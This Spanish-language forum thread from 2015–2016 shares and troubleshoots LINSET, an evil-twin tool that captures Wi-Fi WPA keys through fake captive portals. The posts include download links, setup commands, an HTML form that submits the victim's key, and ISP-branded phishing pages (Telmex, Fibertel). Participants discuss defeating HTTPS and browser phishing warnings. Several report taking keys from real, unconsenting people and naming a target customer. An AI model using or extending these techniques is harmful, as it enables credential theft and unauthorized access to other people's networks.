Arg-Wireless - El Primer Foro de Wireless de Argentina...

Seguridad Informática => Hacking Wireless => Wireless en Linux => Mensaje publicado por: SinnicK en 30 de Julio de 2015, 10:01:24 PM

Título: LINSET 0.14 + GUI w/ HTTPS SSL Certf.
Publicado por: SinnicK en 30 de Julio de 2015, 10:01:24 PM


* Antes de comenzar con el post quiero aclarar que estas dos herramientas son de la tutoria de sus autores, vk496 y MxKukulkan, respectivamente.



LINSET 0.14 - WPA/2 Hack sin Fuerza Bruta

(https://dl.dropboxusercontent.com/u/36498325/linset014.png)

Como ya sabemos, esta ya conocida (y excelente) aplicación es una herramienta realizada con fines educativos, y tiene como objetivo llevar a cabo un ataque sin fuerza bruta para la obtención del WPA/WPA2 Key, haciendo uso de lo que se podría llamar, la ingeniería inversa.

Bien, este programa funciona como ya todos sabemos, si utilizamos la distro de Wifislax en su última versión no va a ser necesario descargar (ni instalar) estos archivos ya que ya esta incluida en la misma. Su instalación es realmente es muy simple, consta de darle los permisos necesarios al archivo linset y ejecutarlo, lo demás se encarga el programa.

Esta última versión trae aparejado los siguientes cambios
########## 16-06-2014 LINSET 0.14
##
## #Info del estado del handshake en captura
## #Redirigido .cap para evitar salida de error de pyrit
## #Capacidad para usar handshake ya capturado previamente
## #Re-configuradas librerías de jQuerry
## #Arreglado bug de URL's complejas
## #Des-autentificar masivamente a varios MAC con igual ESSID
## #Manipular .cap complejos para usar el handshake del objetivo
## #Invertido menú de comprobación de handshake
##
##########

Por desgracia, su autor ha comunicado que no seguirá con este proyecto ya que no presenta mayores desafíos para él. ¿Pro? Es código libre y quien quiera podrá modificarlo a su gusto.

Sin más, aquí el enlace para descargarlo
LINSET 0.14 - Download (http://goo.gl/z1YQKy)

- INSTALACIÓN
Le concederemos permisos con el comando
chmod +x linset
y ejecutamos:
./linset



LINSET 0.14 - GUI + HTTPs SSL Certificado

Ahora es el turno del GUI. Se trata del mismo LINSET pero realizado GUI (ventanas), quizá para muchos algo un poco más lento o entorpecedor que la ejecución en consola,quizá para otros más amigable. Sin embargo esto no es la característica que más atrae, sino que lo es la adición del soporte de paginas https, cosa que linset no posee.
Para esto lo que hace es, a la hora de crear el servidor fake crear un certificado SSL auto-firmado. Muchos dirán, pues entonces listo, problema resuelto con las https que linset no podía mostrar pero... no, estamos un paso más adelante pero aun falta. Lo que hace este certificado SSL es que el usuario (ó victima) pueda acceder a las paginas https pero no verá la interfaz de linset, sino una advertencia de que el sitio no es seguro (ya que es AUTO-FIRMADO), advertencia la cual si es ignorada recién ahí será redireccionado a nuestro index. De más esta aclarar que cualquier idea para poder solucionar este detalle sumará al proyecto.

Sin más, aquí dejo el enlace para que puedan descargar

LINSET 0.14 GUI - Download (http://sourceforge.net/projects/guilinset/files/GUI%20LINSET%20beta/GUI%20LINSET%20beta/download)

Su instalación es igual a la explicada anteriormente.

Por último, resta comentar que muchos usuarios observaron tener problemas a la hora de des-autenticar usuarios con el método mdk3, el cual yo no lo he experimentado en absoluto.

Por hoy me despido, espero que sea de utilidad este pequeño aporte a la comunidad y si tengo tiempo más adelante agregare la opción del certificado SSL a la versión original para quien lo desee ó si alguien anda con ganas será bienvenido.


Saludos.




Buenos días a todos. En esta oportunidad les voy a dejar una adaptación que realice del script de Linset stock (es decir, el original, última revisión) pero con el soporte SSL agregado. Hice esto porque para mi es más cómodo trabajar con bash que con gui, se me hacia algo tedioso andar aceptando carteles todo el tiempo, y para poder seguir trabajando en base a esto. Se los dejo para que lo prueben quienes quieran, y por favor, You are not allowed to view links. Register or Login si podes editar el tema y añadirlo a mi post principal excelente.

Sin más.....

# LINSET 0.14 Stock con Soporte SSL (https) #
Título: Re:LINSET 0.14 + GUI w/ HTTPS SSL Certf.
Publicado por: badder en 03 de Agosto de 2015, 02:34:17 PM
Millón de gracias, probando wn WiFiSlax 4.11.
Título: Re:LINSET 0.14 + GUI w/ HTTPS SSL Certf.
Publicado por: skansito en 24 de Octubre de 2015, 04:57:53 AM
heee gracias compañero , planeo trabajar en el https ya que seria el otro nivel del linset y esto me llega bien para seguir dandole
Título: Re:LINSET 0.14 + GUI w/ HTTPS SSL Certf.
Publicado por: SinnicK en 17 de Diciembre de 2015, 02:05:20 PM
You are not allowed to view links. Register or Login
heee gracias compañero , planeo trabajar en el https ya que seria el otro nivel del linset y esto me llega bien para seguir dandole
Excelente bro, yo he estado totalmente fuera de estas cosas por motivos facultativos pero ahora en breve volveré y veré si este es uno de los proyectos que también pueda retomar, ya que seria un avance bastante grande poder tener bajo control las https haha.

Saludos.
Título: Re:LINSET 0.14 + GUI w/ HTTPS SSL Certf.
Publicado por: D3M0N en 17 de Diciembre de 2015, 09:03:51 PM
yo estuve probando el LINSET y no me dio nada.. usando el ultimo wifislax. Señal de 60% contra el AP, 60% contra el cliente y nada..
Título: Re:LINSET 0.14 + GUI w/ HTTPS SSL Certf.
Publicado por: D3M0N en 17 de Diciembre de 2015, 11:02:12 PM
Me conecte a la red que genera nueva sin contraseña y no me muestra nunca el portal!!!
Título: Re:LINSET 0.14 + GUI w/ HTTPS SSL Certf.
Publicado por: D3M0N en 17 de Diciembre de 2015, 11:42:08 PM
You are not allowed to view links. Register or Login puede ser lo que decís del equipo, estaba probando con una alfa que compre en 2007 jaja ahora pruebo con un tp-link haber que pasa. Lo del error ya me di cuenta! y también que toma cualquier handshake..
Título: Re:LINSET 0.14 + GUI w/ HTTPS SSL Certf.
Publicado por: SinnicK en 19 de Diciembre de 2015, 01:37:28 AM
You are not allowed to view links. Register or Login
You are not allowed to view links. Register or Login puede ser lo que decís del equipo, estaba probando con una alfa que compre en 2007 jaja ahora pruebo con un tp-link haber que pasa. Lo del error ya me di cuenta! y también que toma cualquier handshake..

Como estas bro? Paso a comentarte que efectivamente los adaptadores Alfa no se llevan bien con LINSET, con una Alfa AWUS036h v5 tengo que correrlo varias veces para que me agarre bien. Si no, pasa lo que comentas, nunca crea el fake site, otras veces podes darte cuenta de esto ya que en la pantalla principal se impreme este error (http://i.imgur.com/7ipPcVt.png). He hablado con su creador oficial y si, es algo que ya lo sabe pero que no esta en sus planes de arreglarlo (como tampoco seguir con el proyecto, o no hasta el momento).

El problema es probable que sea porque linset crea esta dirección de forma estática y habría que detectar el nombre de la interfaz que se crea para solucionarlo.

En fin, ahora hasta dentro de unos días estaré atareado pero en cuanto pueda este proyecto es uno de los que me interesaría poder meterle un poco de mano, ya sea para parchear esto (que seria lo de menos) como poder tener un full acceso desde https, ya que de esta manera solo muestra que es un sitio "peligroso" al ser un certificado no firmado.

Hasta la próxima, espero que sirva para agregar un grano de arena a todo este hilo y que empiece a despegar de a poco ;)


Saludos.
Título: Re:LINSET 0.14 + GUI w/ HTTPS SSL Certf.
Publicado por: D3M0N en 19 de Diciembre de 2015, 05:08:40 PM
You are not allowed to view links. Register or Login mal me di cuenta al probar la tp-link, la alfa la guardo de afecto. Se pueden armar portales personalizados?
Título: Re:LINSET 0.14 + GUI w/ HTTPS SSL Certf.
Publicado por: HadesSama en 20 de Diciembre de 2015, 01:18:32 AM
Seria un espectaculo y la herramienta mas poderosa si pudieran solucianar los de las https y los certificados, para que redirija bien al la pag de login ....hay un par de mod de linset, pero ninguno soluciona eso....ojala ustedes puedan ;D
Título: Re:LINSET 0.14 + GUI w/ HTTPS SSL Certf.
Publicado por: SinnicK en 21 de Diciembre de 2015, 10:33:01 AM
You are not allowed to view links. Register or Login
You are not allowed to view links. Register or Login mal me di cuenta al probar la tp-link, la alfa la guardo de afecto. Se pueden armar portales personalizados?

Si claro que se puede, podes hacer un portal tal y como quieras, siempre y cuando no sea muy pesado ya que sino tarda eternidades en cargar (claro que esto es directamente proporcional con la distancia que estés de la víctima y la potencia del adaptador). Luego de crear la personalización, bastaría con reemplazar los archivos correspondientes en la tmp que crea después de lanzar el portal (dándole permisos, claro esta) o directamente 'adjuntar' tu mod al archivo de instalación para que lo cree por defecto reemplazando el portal default, la cual es la mejor opción.

Hay unos mods dando vuelta, y yo también he hecho algunos, por ejemplo para usuarios de fibertel y otro genérico. Si estas interesado solo dilo que podría compartirlo aquí y dar mayores detalles de su instalación/uso.

@HadesSama, si bro, el problema radica en que ninguno puede generar un certificado SSL firmado, por lo cual al intentar ingresar a una https claramente es tomado como sitio malicioso si hemos lanzado la herramienta con el auto-firmado, es un avance sí, pero aún falta. Habría que cambiar un poco el rumbo de como funciona  linset. Veremos que surge de todo esto!

Sin mas, saludos!
Título: Re:LINSET 0.14 + GUI w/ HTTPS SSL Certf.
Publicado por: D3M0N en 21 de Diciembre de 2015, 02:20:20 PM
You are not allowed to view links. Register or Login si tenes alguna estaría bueno para ir probando.
Título: Re:LINSET 0.14 + GUI w/ HTTPS SSL Certf.
Publicado por: SinnicK en 21 de Diciembre de 2015, 03:58:58 PM
You are not allowed to view links. Register or Login
You are not allowed to view links. Register or Login si tenes alguna estaría bueno para ir probando.
Acá te dejo un mod hecho para Telmex, bastante atractivo, y otro que son las interfaces de Wifipisher, las cuales extraje por su carácter "minimalista" y que quizás puedas usar de ejemplo para adaptarlas o de idea base.

Podes reemplazar y añadir los archivos correspondientes en la carpeta tmp que crea linset luego de crear el fake web y darle permisos (+x) para que la victima al acceder vea el interface cambiado o bien, para ahorrarte eso podes correr el *.sh que esta adjunto a la interface y se encargara de montarla por defecto.

Luego, cuando tenga un poco más de tiempo subiré mi adaptación para Fibertel y otro genérico para cualquier otro operador.

* Los enlaces:
- Telmex MOD Linset (https://mega.nz/#!YUEEkCRD!6dKNWvaL-cFUieXJxIZRgKu9w7k-yRCqkYJp67Qkps8)
- Wifipisher Interfaces (https://mega.nz/#!hA8iRRoA!qRLuVTw5uFVb-iMMy_EPPOZqpNyOu4N4aPI_rtoSfUU)


Saludos.
Título: Re:LINSET 0.14 + GUI w/ HTTPS SSL Certf.
Publicado por: HadesSama en 21 de Diciembre de 2015, 04:05:21 PM
Yo de programacion no se nada...pero se me ocurre....no habria forma de hace un bypass con los certificados , teniendo una conexion activa a internet y realizar el ataque linset.....que de alguna forma linset si de internet a las victimas (mediante una conexion activa en la pc atacante) y ahi redirigirlo al login....no se , seguro estoy diciendo cualquiera....pero a ver que piensan....realmente espero que puedan ver un poco mas el tema de linset
Título: Re:LINSET 0.14 + GUI w/ HTTPS SSL Certf.
Publicado por: D3M0N en 21 de Diciembre de 2015, 04:39:54 PM
You are not allowed to view links. Register or Login Perfecto!  :) ya estoy armado un portal:

(https://k60.kn3.net/8/2/C/3/1/9/8F7.png)
Título: Re:LINSET 0.14 + GUI w/ HTTPS SSL Certf.
Publicado por: D3M0N en 21 de Diciembre de 2015, 05:07:43 PM
Por lo que vi del código, lo único importante es:

<form action="data/savekey.php" method="POST" id="datos-ma">
                        <input type="password" maxlength="63" name="key1" id="llave-ma">
                        <button type="button" onclick="initUpdateMA()">Enviar</button>
                    </form>


el savekey.php ya lo trae el programa?

Dejo mi skin para Fibertel: http://www.arg-wireless.com.ar/Fibertel-Archivos/Fibertel-Mod-Linset.rar (http://www.arg-wireless.com.ar/Fibertel-Archivos/Fibertel-Mod-Linset.rar)

You are not allowed to view links. Register or Login vos que lo estuviste utilizando, que placa recomendas?
Título: Re:LINSET 0.14 + GUI w/ HTTPS SSL Certf.
Publicado por: SinnicK en 22 de Diciembre de 2015, 01:27:20 AM
@D3M0N sí, el savekey lo genera el mismo script cuando se ejecuta. Muy linda tu personalización, me gusta bastante. Solo tengo una observación, que es que no modificaste los "final" y "error", cosa que sería dudoso dejar así porque esta con la anterior personalización. Dicho esto, quedaría solo probar si todo funciona bien. Luego montare un fake con mi AP y te diré si esta todo ok.

Realmente no se si te podría recomendar una ya que he probado con mi Alfa AWUS mencionada con anterioridad y me ha dado muchos dolores de cabeza. Por otro lado la que me ha funcionado perfecto, sin ningún tipo de problemas es el adaptador TP Link TL-WN722N (Chip Atheros AR9271), asique me he ocupado esta para este tipo de ataques.


Saludos!
Título: Re:LINSET 0.14 + GUI w/ HTTPS SSL Certf.
Publicado por: D3M0N en 22 de Diciembre de 2015, 12:43:09 PM
A mi el error que note es que cuando me conecto con un celular para chequear el portal me toma como si hay dos usuarios conectados, cuando esta solamente dicho celular. Yo también probé con la TP Link TL-WN722N
Título: Re:LINSET 0.14 + GUI w/ HTTPS SSL Certf.
Publicado por: SinnicK en 22 de Diciembre de 2015, 02:11:31 PM
Que tal amigos, yo la verdad no he experimentado ninguno de los inconvenientes que mencionaron. He podido verificar y conectarme de manera satisfactoria sin que me desconectara, lo único quizá a veces se volvía un poco lento el puenteo pero se lograba.

Sobre lo que comentas del móvil @D3M0N tampoco me ha pasado, probaste con un solo celular o con todos te sucede lo mismo?
Título: Re:LINSET 0.14 + GUI w/ HTTPS SSL Certf.
Publicado por: SinnicK en 24 de Diciembre de 2015, 01:38:41 PM
 
Buenos días a todos. En esta oportunidad les voy a dejar una adaptación que realice del script de Linset stock (es decir, el original, última revisión) pero con el soporte SSL agregado. Hice esto porque para mi es más cómodo trabajar con bash que con gui, se me hacia algo tedioso andar aceptando carteles todo el tiempo, y para poder seguir trabajando en base a esto. Se los dejo para que lo prueben quienes quieran, y por favor, @D3M0N si podes editar el tema y añadirlo a mi post principal excelente.

Sin más.....

# LINSET 0.14 Stock con Soporte SSL (https) #
Título: Re:LINSET 0.14 + GUI w/ HTTPS SSL Certf.
Publicado por: HadesSama en 25 de Diciembre de 2015, 10:53:43 AM
@SinnicK no me pegues.....como lo instalo en Wifislax
Título: Re:LINSET 0.14 + GUI w/ HTTPS SSL Certf.
Publicado por: SinnicK en 25 de Diciembre de 2015, 02:13:57 PM
@user, que raro, a mi me funciono perfectamente. Volveré a hacer unas pruebas en cuanto pueda y les comunico. Menciono que la última versión de Wifislax trae bastante problemas con esto, te recomiendo si tenes la 4.9 probarlo con ella y que me digas que tal.


Saludos.
Título: Re:LINSET 0.14 + GUI w/ HTTPS SSL Certf.
Publicado por: Kal-EL84 en 26 de Diciembre de 2015, 08:19:26 PM
You are not allowed to view links. Register or Login
Hola, no se instala.
Copialo a una posicion ejemplo:
/Root/Documentos
Despues abris la consola y arrastra el archivo o escribi el nombre y listo!

Yo hice eso y me dice "Permiso Denegado", cual seria el problema?
Título: Re:LINSET 0.14 + GUI w/ HTTPS SSL Certf.
Publicado por: SinnicK en 26 de Diciembre de 2015, 09:49:35 PM
@Kal-EL84 el problema es que no le estas dando los permisos necesario al archivo. Abri un terminal y escribi
chmod +x root/Desktop/linset.sh
Donde "root/Desktop/" debera ser la ubicación donde tengas el archivo y "linset.sh" el nombre que le hayas dado, luego de eso, ejecutalo que no tendrás problemas.


Saludos.
Título: Re:LINSET 0.14 + GUI w/ HTTPS SSL Certf.
Publicado por: Kal-EL84 en 27 de Diciembre de 2015, 04:40:34 AM
You are not allowed to view links. Register or Login
@Kal-EL84 el problema es que no le estas dando los permisos necesario al archivo. Abri un terminal y escribi
chmod +x root/Desktop/linset.sh
Donde "root/Desktop/" debera ser la ubicación donde tengas el archivo y "linset.sh" el nombre que le hayas dado, luego de eso, ejecutalo que no tendrás problemas.


Saludos.

Gracias!! Ya lo pude hacer funcionar, en la versión 4.9 va bien, aunque e notado un par de cosas.

Desde una computadora cuando intento acceder a las páginas que la gente visita más, Google e instagram van bien,  me aparece la opción de "Vaya a Este Sitio Web (no recomendado), pero con Facebook y Twitter no me aparece la opción, y desde un teléfono con Android y en Chrome si accedo así " https://www.facebook.com" tampoco me aparece la opción, pero si accedo así "https://Facebook.com" si me aparece la opción.

Solo eso e notado, gracias!!
Voy a ver si logro sacar algo.
Título: Re:LINSET 0.14 + GUI w/ HTTPS SSL Certf.
Publicado por: SinnicK en 28 de Diciembre de 2015, 10:55:47 AM
@Kal-EL84, excelente gracias a vos por el feedback. Esas cosas si suceden, es cierto, son detalles que sinceramente no sabría explicarte la raíz del conflicto, parecieran limitaciones del script en las que algunas veces funciona otra no. Lo mismo sucede con la versión de Wifislax, si estamos en la última, es más probable que no funcione o que arroje mucho más errores debido a los modulos/kernel, que también sigue siendo un tanto raro pero bueno, hay que seguir trabajando.


Saludos.
Título: Re:LINSET 0.14 + GUI w/ HTTPS SSL Certf.
Publicado por: SinnicK en 28 de Diciembre de 2015, 12:22:42 PM
Bueno, @Kal-EL84, te comento que no me pude quedar quieto con respecto a esto que me comentabas y he introducido unas pequeñas modificaciones a la hora de las re-direcciones para tratar de solucionar el error de las "www". Sin más palabrerio te invito a que lo pruebes (o cualquier de ustedes) y chequear si quedo solucionado ya que no estoy en linux para hacer la prueba.

# LINSET 0.14 Stock con Soporte SSL (https) # _ v0.1 *
Título: Re:LINSET 0.14 + GUI w/ HTTPS SSL Certf.
Publicado por: Kal-EL84 en 28 de Diciembre de 2015, 08:04:10 PM
Che gracias, lo voy a probar a ver como va. 

En cuanto al anterior a pesar del error de "www" logre conseguir algo en 34 minutos.
la cosa aveces se pone difícil ya que parece que la mayoría se conecta desde celulares y solo usan las apps de whatsapp, Facebook, etc, muy raro que usen el navegador en el teléfono pero aveces lo hacen. 

You are not allowed to view links. Register or Login
Bueno, @Kal-EL84, te comento que no me pude quedar quieto con respecto a esto que me comentabas y he introducido unas pequeñas modificaciones a la hora de las re-direcciones para tratar de solucionar el error de las "www". Sin más palabrerio te invito a que lo pruebes (o cualquier de ustedes) y chequear si quedo solucionado ya que no estoy en linux para hacer la prueba.

# LINSET 0.14 Stock con Soporte SSL (https) # _ v0.1 *
  • Click Aquí - Descargar (https://mega.nz/#!kMFmzT4Q)
        [!] Key: !ltG6fCrK_YE5AD3d71PcAMIgw1awNqCSr0K0N2YZH-M
        [!] Password: [SNK]www.arg-wireless.com.ar


    Saludos.
Título: Re:LINSET 0.14 + GUI w/ HTTPS SSL Certf.
Publicado por: SinnicK en 28 de Diciembre de 2015, 11:15:55 PM
Genial, cuando puedas avisame lo del www creería que ya esta solucionado. Sobre las apps, es así claro, la mayoría de las personas utiliza los móviles a través de aplicaciones pero existe también quienes usan el navegador, como yo, por ejemplo jaja.

Saludos.
Título: Re:LINSET 0.14 + GUI w/ HTTPS SSL Certf.
Publicado por: SinnicK en 31 de Diciembre de 2015, 04:24:59 AM
Por fin he tenido un poco tiempo para hacer unas pruebas y me alegra comunicarles que funciona todo a la perfección (o lo que he podido ver), he corregido el problema con los enlaces www.*, he verificado que el soporte https funcione y de hecho lo hace perfectamente, entre otras pequeños detalles, asique sin más, aquí el enlace.

# LINSET 0.14 Stock con Soporte SSL (https) # _ v0.2 *
Título: Re:LINSET 0.14 + GUI w/ HTTPS SSL Certf.
Publicado por: Fitap en 03 de Enero de 2016, 10:42:56 PM
Lastima que esto no me funciona con la Alfa, o alguno lo esta haciendo andar con esa tarjeta ?

Saludos y feliz 2016 !!
Título: Re:LINSET 0.14 + GUI w/ HTTPS SSL Certf.
Publicado por: SinnicK en 04 de Enero de 2016, 11:52:32 AM
You are not allowed to view links. Register or Login
Lastima que esto no me funciona con la Alfa, o alguno lo esta haciendo andar con esa tarjeta ?

Saludos y feliz 2016 !!
Yo lo hice funcionar con la Awus036H un par de veces, lo que tengo que admitir se torna un tanto tedioso. En comentarios anteriores comente que es lo que habría que hacer posiblemente para corregir el error. Quizá en algún momento pueda hacerlo.


Saludos.
Título: Re:LINSET 0.14 + GUI w/ HTTPS SSL Certf.
Publicado por: Kal-EL84 en 06 de Enero de 2016, 01:35:46 PM
You are not allowed to view links. Register or Login
Por fin he tenido un poco tiempo para hacer unas pruebas y me alegra comunicarles que funciona todo a la perfección (o lo que he podido ver), he corregido el problema con los enlaces www.*, he verificado que el soporte https funcione y de hecho lo hace perfectamente, entre otras pequeños detalles, asique sin más, aquí el enlace.

# LINSET 0.14 Stock con Soporte SSL (https) # _ v0.2 *
  • Click Aquí - Descargar (https://mega.nz/#!cZkRTIiA)
        [!] Key: !dS5J7Qk_MiMo9bfQ_JNp1NK3FSuSAeQIhWWh4NIZ-4A
        [!] Password: [SNK]www.arg-wireless.com.ar

    ** Agregado soporte SSL luego seleccionar un Handshake ya obtenido, para no tener que obtener uno en cada nuevo ataque
    ** Redirección satisfactoria de todas las www.*
    ** Soporte https funcionando satisfactoriamente (sitio malicioso)


    ###

    {!} IMPORTANTE: Todavía no he tenido tiempo de verificar porque es que en la ultima version de Wifislax (4.11.1) no funciona bien el script a la hora de agregar el soporte para https, monta todo perfecto pero no re-direcciona a ningún lado. Por lo tanto, de utilizar la distro de Wifislax, utilizar su versión 4.9 para esta herramienta hasta nuevo aviso para no tener inconvenientes.

    Por último, @D3M0N si fueras tan amable de poner esta actualización al hilo principal, gracias.


    Saludos.
@SinnicK Con la version V0.01 saque 3, pero con la V0.2 no he logrado nada y me pasa esto:

En Internet Explorer va bien.
(https://k60.kn3.net/58D68C90A.png)
(https://k60.kn3.net/F3542AA18.png)

Pero en FireFox y un navegador basado en Chromium no aparece "Vaya a este sitio WEB (NO RECOMENDADO)
(https://k60.kn3.net/8B23AC811.png)
(https://k60.kn3.net/D133C16C0.png)
(https://k60.kn3.net/B34B09B3E.png)
(https://k60.kn3.net/A8AC33FA5.png)

desde el telefono todavia no probe.
Título: Re:LINSET 0.14 + GUI w/ HTTPS SSL Certf.
Publicado por: SinnicK en 06 de Enero de 2016, 02:24:48 PM
No entiendo cual es el problema @Kal-EL84, esta bien que así sea, lo que te esta dando es el error al intentar ingresar a una web con seguridad (https). Y no creo que sea cosa de la versión porque las modificaciones que le he hecho no son de significación a la hora de generar los sitios o algo por el estilo, quizá que con quienes lo has probado no han caído, nada mas jaja.

Luego, si intentas acceder a una web con www.* y que no tenga conexión https, veras como el www desaparece.

Yo estuve utilizando esta última versión que he modificado y si he tenido buenos resultados, te comento para que no te quepan dudas. Cualquier cosa, ya sabes, aquí andamos ;).


Saludos.
Título: Re:LINSET 0.14 + GUI w/ HTTPS SSL Certf.
Publicado por: Kal-EL84 en 06 de Enero de 2016, 07:50:14 PM
You are not allowed to view links. Register or Login
No entiendo cual es el problema @Kal-EL84, esta bien que así sea, lo que te esta dando es el error al intentar ingresar a una web con seguridad (https). Y no creo que sea cosa de la versión porque las modificaciones que le he hecho no son de significación a la hora de generar los sitios o algo por el estilo, quizá que con quienes lo has probado no han caído, nada mas jaja.

Luego, si intentas acceder a una web con www.* y que no tenga conexión https, veras como el www desaparece.

Yo estuve utilizando esta última versión que he modificado y si he tenido buenos resultados, te comento para que no te quepan dudas. Cualquier cosa, ya sabes, aquí andamos ;).


Saludos.

Tal vez no explique bien, pero lo que quiero decir es que si la persona usa Internet Explorer va bien, le va a aparecer "Vaya a este sitio WEB (NO RECOMENDADO)" y una vez que hagan click en este enlace son redireccionados a la "página" dónde deberán poner la contraseña, verdad?

Hasta ahí todo está bien, el problema es si usan Firefox o Chromium no aparece "Vaya a este sitio WEB (NO RECOMENDADO)" por lo cual no hay ningún enlace que los redireccionen a la "página" dónde deberían poner la contraseña.

Vos en que navegadores lo probaste?
Título: Re:LINSET 0.14 + GUI w/ HTTPS SSL Certf.
Publicado por: SinnicK en 06 de Enero de 2016, 11:34:08 PM
Ahhh, ahora si entendí lo que querías decir @Kal-EL84, te comento que eso siempre fue así, son las distintas maneras en las que se comporta el navegador y depende también de la versión del mismo, porque tanto firefox como chrome en versiones anteriores te daban la opción de "ir de todas formas" que como vos mismo me mostras ya no es así, lo que claramente es distinto en IE.

Saludos.
Título: Re:LINSET 0.14 + GUI w/ HTTPS SSL Certf.
Publicado por: SherlockH en 07 de Enero de 2016, 11:36:53 AM
La primera vez que veo que los controles de phishing de los browsers en Windows son útiles. Malditos.
Título: Re:LINSET 0.14 + GUI w/ HTTPS SSL Certf.
Publicado por: SinnicK en 07 de Enero de 2016, 09:57:30 PM
You are not allowed to view links. Register or Login
La primera vez que veo que los controles de phishing de los browsers en Windows son útiles. Malditos.

Me hiciste reir jaja. La verdad que tienes razón, algún uso tenían que tener. :P
Título: Re:LINSET 0.14 + GUI w/ HTTPS SSL Certf.
Publicado por: YingCL en 08 de Enero de 2016, 01:46:42 AM
me registre sólo  para AGRADECER el enorme trabajo de Sinnick y de los creadores de linset, es una herramienta muy poderosa con el SSL.
probe con un clon chino de la alfa, que tiene el mismo chipset... y mi problema ocurria al crear el AP, ya que con esta no me permitia elegir el modulo que abriria el AP  y usaba airbase directamente que es muy inestable... creo que por ahi va el problema con el Alfa ( con los otros adaptadoted si permite crear el AP con el modulo que es mas estable... algo de honeyap o algo asi.

Gracias por el foro y por el trabajo de Sinnick
Título: Re:LINSET 0.14 + GUI w/ HTTPS SSL Certf.
Publicado por: SinnicK en 08 de Enero de 2016, 01:20:03 PM
You are not allowed to view links. Register or Login
me registre sólo  para AGRADECER el enorme trabajo de Sinnick y de los creadores de linset, es una herramienta muy poderosa con el SSL.
probe con un clon chino de la alfa, que tiene el mismo chipset... y mi problema ocurria al crear el AP, ya que con esta no me permitia elegir el modulo que abriria el AP  y usaba airbase directamente que es muy inestable... creo que por ahi va el problema con el Alfa ( con los otros adaptadoted si permite crear el AP con el modulo que es mas estable... algo de honeyap o algo asi.

Gracias por el foro y por el trabajo de Sinnick
Te agradezco a vos @YingCL por el reconocimiento, da aliento a seguir trabajando así. Ahora mismo estoy en eso con unos pequeños detalles que he notado de mi última versión y cuando tenga un poco más de tiempo quizá me ponga a ver si puedo solucionar el problema con los adaptadores. Aunque antes tengo un par de ideas para saltear el protocolo SSL, veremos si puedo llegar a buen puerto. Nuevamente agradecerte por el apoyo, y aprovecho a agradecer al foro también por el espacio brindado.


Saludos.
Título: Re:LINSET 0.14 + GUI w/ HTTPS SSL Certf.
Publicado por: Kal-EL84 en 11 de Enero de 2016, 02:29:01 AM
You are not allowed to view links. Register or Login
Ahhh, ahora si entendí lo que querías decir @Kal-EL84, te comento que eso siempre fue así, son las distintas maneras en las que se comporta el navegador y depende también de la versión del mismo, porque tanto firefox como chrome en versiones anteriores te daban la opción de "ir de todas formas" que como vos mismo me mostras ya no es así, lo que claramente es distinto en IE.

Saludos.

Ah, OK, pensé que se podía arreglar, igual en Android con Chrome, Firefox y otro navegador funciona bien, gracias!!
Título: Re:LINSET 0.14 + GUI w/ HTTPS SSL Certf.
Publicado por: Ampamer en 18 de Febrero de 2016, 11:48:43 PM
Pueden ayudarme porfa estoy intentando descargarlo pero nose puede hay algún problema con los Links???
Título: Re:LINSET 0.14 + GUI w/ HTTPS SSL Certf.
Publicado por: pukas en 26 de Febrero de 2016, 12:57:19 PM
You are not allowed to view links. Register or Login
You are not allowed to view links. Register or Login Perfecto!  :) ya estoy armado un portal:

(https://k60.kn3.net/8/2/C/3/1/9/8F7.png)
demon no podrias hacer una para telecentro ahora que se estan masificando estaria bueno tenerlo Gracias!
Título: Re:LINSET 0.14 + GUI w/ HTTPS SSL Certf.
Publicado por: Ampamer en 26 de Febrero de 2016, 09:41:11 PM
Se ve buenísimo felicitaciones amigo.
Título: Re:LINSET 0.14 + GUI w/ HTTPS SSL Certf.
Publicado por: AmikoloL en 27 de Marzo de 2016, 04:13:49 AM
Hola todos saludos soy nuevo bienvenido soy mexico ya no funciona métodos el certificado? ya lo internar linset SSL en wifiway wifislax 4.11.1 AP no abre pagina chrome y mozilla, IE,Opera ni el no carga http y https ya no aparece pagina
Título: Re:LINSET 0.14 + GUI w/ HTTPS SSL Certf.
Publicado por: aljuna en 06 de Mayo de 2016, 01:50:43 PM
Excelente trabajo @SinnicK tengo un cliente de speedy que es el candidato ideal para probar lo que has realizado. Cuando tenga novedades te las comentare. Muchas gracias
Título: Re:LINSET 0.14 + GUI w/ HTTPS SSL Certf.
Publicado por: Tony Stark en 06 de Mayo de 2016, 04:35:16 PM
You are not allowed to view links. Register or Login
demon no podrias hacer una para telecentro ahora que se estan masificando estaria bueno tenerlo Gracias!

Que buena que esta!
Título: Re:LINSET 0.14 + GUI w/ HTTPS SSL Certf.
Publicado por: Tony Stark en 06 de Mayo de 2016, 06:43:19 PM
Como se hace para agregar la pagina modificada?
Título: Re:LINSET 0.14 + GUI w/ HTTPS SSL Certf.
Publicado por: Tony Stark en 08 de Mayo de 2016, 01:50:15 PM
You are not allowed to view links. Register or Login
Ejecutas linset y cuando ya este en modo ap, vas a /tmp/linset y ahi reemplazas los html
A mi igual me anda raro el linset, la primera vez que inicia la maquina virtual funciona si lo detengo no funciona mas y tengo que reiniciar la virtual

Gracias! Lo pude cambiar y anda joya.

Che tenés  idea porque Linset anda si el usuario  ingresa una página del tipo www. Pero  si pone cualquier  cosa en el buscador  predeterminado  del navegador no lo redirige  a la página fake?
Título: Re:LINSET 0.14 + GUI w/ HTTPS SSL Certf.
Publicado por: badder en 09 de Mayo de 2016, 04:49:44 PM
El que tiene ganas peguele una miradita a Fluxion.
https://github.com/deltaxflux/fluxion
Título: Re:LINSET 0.14 + GUI w/ HTTPS SSL Certf.
Publicado por: SinnicK en 19 de Mayo de 2016, 07:28:58 PM
He estado con casi nada de tiempo para continuar con este proyecto, tengo otras ideas para hacer el ataque más eficiente pero necesito tiempo, vere cuando puedo hecharle mano. Ahora, @user, si estas corriendo en 4.11.1, ter recomiendo lo corras en 4.9, todos los problemas desapareceran.
Título: Re:LINSET 0.14 + GUI w/ HTTPS SSL Certf.
Publicado por: kalafnicofxxx en 17 de Agosto de 2016, 12:10:02 AM
hola acabo de probar este linset que recien hoy me entero que existe jeje.
me funciona de maravilla,excepto que cuando pruebo con las paginas que no empiezan con https no funciona bien ya que al aparecer el cuadro de poner la contraseña pones cualquier contraseña y apretas confirmar y de vuelta te muestra la misma pagina sin decir que la contraseña es incorrecta.
Alguien sabe por que hace eso y si se puede arreglar?.Gracis
Título: Re:LINSET 0.14 + GUI w/ HTTPS SSL Certf.
Publicado por: Kazbeel en 05 de Septiembre de 2016, 02:36:22 PM
You are not allowed to view links. Register or Login
